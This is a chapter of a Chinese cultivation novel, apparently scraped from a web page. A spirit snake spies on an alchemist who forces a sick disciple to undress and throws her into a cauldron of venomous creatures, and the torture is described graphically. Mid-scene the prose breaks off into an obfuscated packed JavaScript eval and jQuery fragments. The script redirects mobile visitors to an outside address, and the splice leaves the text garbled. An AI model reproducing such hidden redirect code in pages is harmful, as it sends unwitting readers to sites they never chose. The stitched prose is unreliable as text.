成功蜕皮后,玄玉新生的鳞片重新变得漆黑如墨,泛着幽冷的光泽。
那双蓝红相间的竖瞳较从前更加深邃,瞳孔中似有星辰流转,神秘莫测。
“娘!”玄玉亲昵地蹭着她的脸颊,炫耀道:“我的眼睛与从前不一样了!”
宿明荆轻轻捧起小蛇,仔细端详它的眼睛,迟疑道:“这是......破妄之瞳?”
“对。”玄玉骄傲地昂起头,蛇尾欢快地摆动,“我的眼睛能看穿许多东西,寻常的封印禁制已拦不住我。”
荣苏好奇地凑近,用叶片戳了戳玄玉的脑袋,调侃道:“你这家伙蜕个皮还变异了?”
玄玉不满地甩了甩尾巴,语气有些愤愤:“阿爹,我这是天赋觉醒!”
“那不就是变异么?”
“那不一样!”
......
宿明荆没有理会他们打闹,只是若有所思地望向窗外。
远处的山峰轮廓在月光下若隐若现,而青囊真人的洞府,就隐在山腰那云雾缭绕之处。
“玄玉。”她忽然开口,声音低沉,“我想让你帮我做一件事。”
“娘想让我做些什么?”小蛇立刻竖起脑袋,异色竖瞳闪烁着兴奋的光芒,跃跃欲试。
宿明荆指尖轻点,一缕神识没入玄玉额间。
“帮我去探一探,青囊真人的洞府里......究竟藏着什么秘密。”
夜黑风高,正是潜伏的好时机。
-
月光如水,冷冷地洒在碧水峰上,将山峦染上一层凄清的银白。
夜风扫过枯枝,发出呜咽般的低鸣,更添几分孤寒。
孟青遥拖着疲惫的身躯,步履蹒跚回到住处。
她额前的碎发已被冷汗浸透,湿漉漉地贴在脸上,衬得面色愈发憔悴。
“吱呀——”
推开破旧的木门,屋内简陋的陈设映入眼帘。
一张木床,一方缺角的木桌,角落里堆着几个药罐——这便是她在碧水峰的全部家当。
孟青遥在床边缓缓坐下,颤抖着撕开腕上的纱布。
纱布已经和伤口粘连,每撕开一点,便会传来钻心般的疼痛。
纱布下,一道道狰狞的伤口触目惊心,边缘泛着不祥的暗紫,在烛光下更显可怖。
她死死咬住下唇,强忍着剧痛,用清水一点点冲洗伤口,手指不止地颤抖。
待清洗完毕,她取来干净的纱布,一圈圈仔细缠好。
“咳咳......”
喉间涌上腥甜,孟青遥下意识用纱布掩住口,待拿开时,素白的纱布上晕开刺目的红。
她怔怔望着那抹血色,眼中的光芒渐渐熄灭,如同风中残烛。
半晌,她缓缓躺倒在冰冷的木床上,从怀中取出一片灵茶叶,轻轻含入口中。
苦涩的茶香在唇齿间蔓延,她空洞的目光盯着床幔,思绪渐渐飘远。
恍惚间,她仿佛又回到了外门弟子院舍。
院角那几株亲手栽种的灵茶树,在记忆中依然青翠繁茂。
不知它们如今可好?可有人记得为它们浇水?
这么多年过去了,她仍记得第一次见到云师叔的情景。
他就站在茶树旁,一袭青衫随风轻扬,宛如画中仙人。
“云穆师叔......”孟青遥低声呢喃,声音轻得几乎听不见。
可如今她似乎离他越来越远了,还把自己弄得遍体鳞伤,真的值得吗?
眼眶微微发热,她眨了眨眼,将那股酸涩强压下去。
无所谓值不值得了。如今的她,早已不是当年那个天真的外门弟子。
那些单纯美好的日子,终究是回不去了。
“嘶嘶......”
墙脚忽然传来一阵轻微的响动,打断了她纷乱的思绪。
孟青遥微微一怔,随即艰难地撑起身子,循声望去。
那声音似乎来自屋外的草丛,在寂静的夜里格外清晰。
她犹豫片刻,还是拖着疲惫的身体走出小屋。
半人高的草丛中,一条通体漆黑的小蛇盘踞其中。
月光下,那双蓝红竖瞳闪烁着妖异的光芒,正直勾勾地盯着她。
“......小蛇?你怎么会在这里?”
孟青遥有些惊讶,小心翼翼地蹲下身,从袖中取出一块肉干。
小蛇警惕地盯着她,但闻到肉干的香味,还是忍不住吐了吐信子。
它小心翼翼地游近,突然一个迅捷的窜动,飞快叼走肉干。
“慢点,慢点。”
孟青遥的笑容更深了,又取出一块肉干,柔声道:“吃饱了就快快离开吧,这不是你该来的地方,很危险......”
小蛇歪着头看她,异瞳中闪过一丝精光。
就在她起身的刹那,它猛地窜起,一口咬在她纤细的手指上。
“啊!”孟青遥轻呼一声,吃痛地缩回手,指尖渗出诡异的紫色血液。
她慌忙用纱布缠紧伤口,不让血继续流出,再抬头时,那小蛇已消失在茫茫夜色中。
“真是奇怪的小家伙......”
孟青遥喃喃自语,脸上却没有丝毫恼怒。
望着小蛇消失的方向,她又看了眼受伤的手指,喃喃道:“走吧,走得越远越好。”
最好永远都不要回来这里。
夜色渐深,孟青遥艰难地回到床边,草草包扎好手上的伤口。
刚合上眼准备歇息,房门便猛地被撞开。
“砰!”
她惊坐而起,小脸骤然变得煞白,“周、周师兄......”
男子面无表情地立在门口,眼神冷得像冰。
“师父命你立即去炼丹室。”他的声音毫无起伏,说完便转身离去。
闻言,孟青遥的身子不受控制地颤抖起来。
还是逃不过呢......
她抬手拭去泪水,深吸一口气,走向那个噩梦般的地方。
青囊真人的炼丹室隐在碧水峰后山僻静处,从外面看只是个寻常山洞,内里却别有洞天。
巨大的青铜鼎矗立中央,幽蓝火焰无声燃烧,将洞窟映得如同炼狱。
岩壁上挂满形态各异的毒虫,角落里堆放着各色灵药,空气中弥漫着刺鼻气味,混杂着若有若无的血腥气。
青囊真人背对着入口,墨绿长袍松垮地披在身上,露出苍白的胸膛。
听到脚步声,他缓缓转过身来。
那是一张俊美得近乎妖异的脸,凤眼薄唇,目光深邃。
明明是一张极年轻的面容,眼中却沉淀着与外表不符的沧桑。
他的目光落在孟青遥身上,声音平静得没有一丝波澜:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749766|182258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“脱。”
孟青遥站在门口,手指紧紧攥着衣襟,缓缓闭上双眼。
沉默片刻,她颤抖着解开外衫的系带。
衣物一件件滑落在地,连缠手的纱布也解开了,露出瘦骨嶙峋的身体。
月光从洞顶的缝隙洒落,照在她苍白的身躯上。
本该光洁的肌肤此刻布满黑色纹路,如同蛛网一般,从心口向四肢蔓延。
她的指甲乌黑,皮下血管凸起,呈现出不正常的青紫色,在月光下显得格外骇人。
青囊真人神情冷漠,目光在她身上逡巡。
那眼神不像看一个活生生的人,倒像是在打量一件精雕细琢的作品。
他缓缓上前,修长的手指划过她指尖的伤口,眉头微皱,“这是怎么回事?”
孟青遥不自觉地往后缩了缩,声音细若蚊蚋:“是、是弟子前些日子炼药时不小心被咬的伤口......一直没有愈合......”
青囊真人眯起眼睛,突然一把扣住她的手腕,力道大得几乎要捏碎骨头。
“撒谎。”
孟青遥脸色更加苍白,却不敢挣扎,只能怯懦地重复:“弟子不敢......”
青囊真人冷哼一声,松开她的手腕,指向那口巨大的青铜丹炉。
“进去。”
孟青遥望向那青铜大鼎,瞳孔骤然紧缩。
鼎中药液翻滚,隐约可见无数毒蛇蜈蚣在药液中沉浮。
她的双腿不受控制地发抖,内心恐惧无比,脸色惨白近乎透明。
“长老。”她双膝一软,重重跪倒在地,额头磕在冰冷的地面上,“求求您放过弟子......弟子真的受不住了......”
“你以为我在征求你的意见?”青囊真人居高临下地俯视着她,眼中没有一丝怜悯。
“不、不是......”她声音已带上破碎的哭腔,瘦弱的身躯不住地颤抖,“只是弟子今日身体实在不适......”
“废物!”他眼中寒光一闪,突然一掌拍出。
“轰——”
孟青遥连惊呼都来不及发出,就被猝不及防打入大鼎之中。
“啊!!!”
霎时间,撕心裂肺的惨叫声响彻整个洞窟。
“不、不......”
孟青遥在药液中疯狂挣扎,无数毒虫撕咬着她的皮肉,药液腐蚀着她每一寸肌肤。
她的皮肤开始大片溃烂,又在新注入的灵力下快速愈合,如同枯萎又新生的花。
这种生不如死的折磨周而复始,循环往复,仿佛永无止境。
青囊真人冷漠地注视着这一切,修长的手指不时掐诀,精准控制着鼎中灵力。
他脸上没有一丝波澜,仿佛只是在完成一道寻常工序。
玄玉藏在洞窟的阴影处,将这一幕尽收眼底。
它悄无声息地后退,漆黑的蛇身与黑暗融为一体,转眼便消失在甬道深处。
洞窟外,夜风呜咽着掠过山崖,却吹不散那股浓郁的血腥味。
鼎中的惨叫声渐渐变得微弱,最终只剩下药液翻滚的声响,以及那细若游丝的呜咽。
青囊真人立于巨鼎前,手指轻抚鼎上纹路。
“只要再坚持三日,药引就能成了。”
炉火映照着那邪异的面容,他嘴角勾起一抹令人毛骨悚然的笑。